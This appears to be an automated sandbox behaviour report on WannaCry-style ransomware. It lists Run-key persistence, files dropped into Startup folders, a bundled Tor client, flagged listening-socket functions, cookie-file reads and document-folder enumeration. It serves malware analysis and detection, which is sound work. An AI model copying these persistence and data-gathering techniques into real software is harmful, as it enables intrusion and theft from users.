Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ywepvofkuzu108

Creates a start menu entry (Start Menu\Programs\Startup)

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe

File created: C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\~SD89A7.tmp

Stores files to the Windows start menu directory

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Windows\Start Menu\~SD8948.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\~SD8949.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\.sol Editor\~SD895A.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\~SD895B.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\~SD896B.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\~SD896C.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Tablet PC\~SD896D.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\~SD896E.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\~SD896F.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\AutoIt v3\~SD8980.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\~SD8981.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX\~SD8982.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Games\~SD8983.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Java\~SD8984.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Maintenance\~SD8994.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Microsoft Office\~SD8995.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Microsoft Office\Microsoft Office 2010 Tools\~SD89A6.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\~SD89A7.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\~SD9373.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\~SD9374.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\~SD9375.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\~SD9376.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\~SD9377.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\~SD9388.tmp

Remote Access Functionality:

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Show sources

Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 14_2_0040D6A0 htons,socket,bind,ioctlsocket,ioctlsocket,connect,select,__WSAFDIsSet,__WSAFDIsSet,ioctlsocket,setsockopt,setsockopt,setsockopt,closesocket,	14_2_0040D6A0
Source: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe	Code function: 19_2_001EAF67 listen,listen,listen,__stack_chk_fail,	19_2_001EAF67
Source: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe	Code function: 19_2_001EC647 abort,abort,abort,_errno,bind,abort,connect,connect,__stack_chk_fail,	19_2_001EC647
Source: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe	Code function: 19_2_001EB015 _errno,_errno,setsockopt,bind,bind,getsockname,abort,memcpy,abort,__stack_chk_fail,	19_2_001EB015
Source: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe	Code function: 19_2_0031739B memset,memset,memset,memset,htonl,abort,bind,listen,getsockname,connect,getsockname,_errno,__stack_chk_fail,	19_2_0031739B

Stealing of Sensitive Information:

Searches for user specific document files

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Key value created or modified: C:\Users\Default\Documents
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Key value created or modified: C:\Users\Default\Documents
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Key value created or modified: C:\Users\luketaylor\Documents
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Key value created or modified: C:\Users\luketaylor\Documents
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Key value created or modified: C:\Users\Public\Documents
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Key value created or modified: C:\Users\Public\Documents

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe

Directory queried: number of queries: 1017

Steals Internet Explorer cookies

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File read: C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\ML8FX5YH.txt
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File read: C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\TS324TLF.txt
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File read: C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\SBGGU5ON.txt
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File read: C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\P2JX6PN9.txt
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File read: C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\70BQC459.txt
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File read: C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\BQV5SLZ9.txt
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File read: C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\6SKQ9IC9.txt
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File read: C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\EVRD7JOF.txt
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File read: C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\XO4C6RUK.txt
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File read: C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\I75LB17C.txt

Persistence and Installation Behavior:

Drops PE files

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\ProgramData\ywepvofkuzu108\u.wnry
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\Default\Desktop\@WanaDecryptor@.exe
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	File created: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\ssleay32.dll
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	File created: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\libssp-0.dll
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\ProgramData\ywepvofkuzu108\taskdl.exe
Source: C:\Windows\tasksche.exe	File created: C:\ProgramData\ywepvofkuzu108\tasksche.exe
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	File created: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\libevent_core-2-0-5.dll
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	File created: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\libevent-2-0-5.dll
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	File created: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\zlib1.dll
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	File created: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\libgcc_s_sjlj-1.dll
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	File created: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\tor.exe
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	File created: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\libeay32.dll
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\Desktop\@WanaDecryptor@.exe
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\Public\Desktop\@WanaDecryptor@.exe
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\ProgramData\ywepvofkuzu108\taskse.exe
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	File created: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\libevent_extra-2-0-5.dll
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\@WanaDecryptor@.exe
Source: C:\mssecsvc.exe	File created: C:\Windows\tasksche.exe
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	File created: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe

Drops PE files to the windows directory (C:\Windows)

Show sources

Source: C:\mssecsvc.exe

File created: C:\Windows\tasksche.exe

Installs a Chrome extension

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\~SD9419.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\~SD941A.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\~SD941B.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\~SD942C.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\ar\~SD942D.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\bg\~SD942E.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\ca\~SD943E.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\cs\~SD943F.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\da\~SD9440.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\de\~SD9441.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\el\~SD9452.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\en_GB\~SD9453.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\en_US\~SD9454.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\es\~SD9465.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\es_419\~SD9466.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\et\~SD9467.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\fi\~SD9477.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\fil\~SD9478.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\fr\~SD9479.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\he\~SD947A.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\hi\~SD948B.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\hu\~SD948C.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\id\~SD948D.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\it\~SD948E.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\ja\~SD949F.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\ko\~SD94A0.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\lt\~SD94A1.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\lv\~SD94A2.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\ms\~SD94B2.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\nl\~SD94B3.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\no\~SD94B4.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\pl\~SD94B5.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\pt_BR\~SD94B6.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\pt_PT\~SD94B7.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\ro\~SD94C8.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\ru\~SD94C9.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\sk\~SD94CA.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\sl\~SD94DA.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\sr\~SD94DB.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\sv\~SD94DC.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\th\~SD94DD.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\tr\~SD94EE.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\uk\~SD94EF.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\vi\~SD94F0.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\zh_CN\~SD94F1.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\zh_TW\~SD94F2.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_metadata\~SD94F3.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\~SD9504.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\~SD9505.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\~SD9506.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\ar\~SD9507.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\bg\~SD9508.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\ca\~SD9509.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\cs\~SD9519.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\da\~SD951A.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\de\~SD951B.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\el\~SD951C.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\en_GB\~SD951D.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\en_US\~SD951E.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\es\~SD951F.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\es_419\~SD9520.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\et\~SD9531.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\eu\~SD9532.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\fi\~SD9533.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\fil\~SD9534.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\fr\~SD9535.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\he\~SD9536.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\hi\~SD9537.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\hr\~SD9548.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\hu\~SD9549.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\id\~SD954A.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\it\~SD954B.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\ja\~SD954C.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\ko\~SD954D.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\lt\~SD954E.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\lv\~SD955E.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\ms\~SD955F.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\nl\~SD9560.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\no\~SD9561.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\pl\~SD9562.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File created: C:\Users\luketaylor\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\_locales\pt_BR\~SD9563.tmp
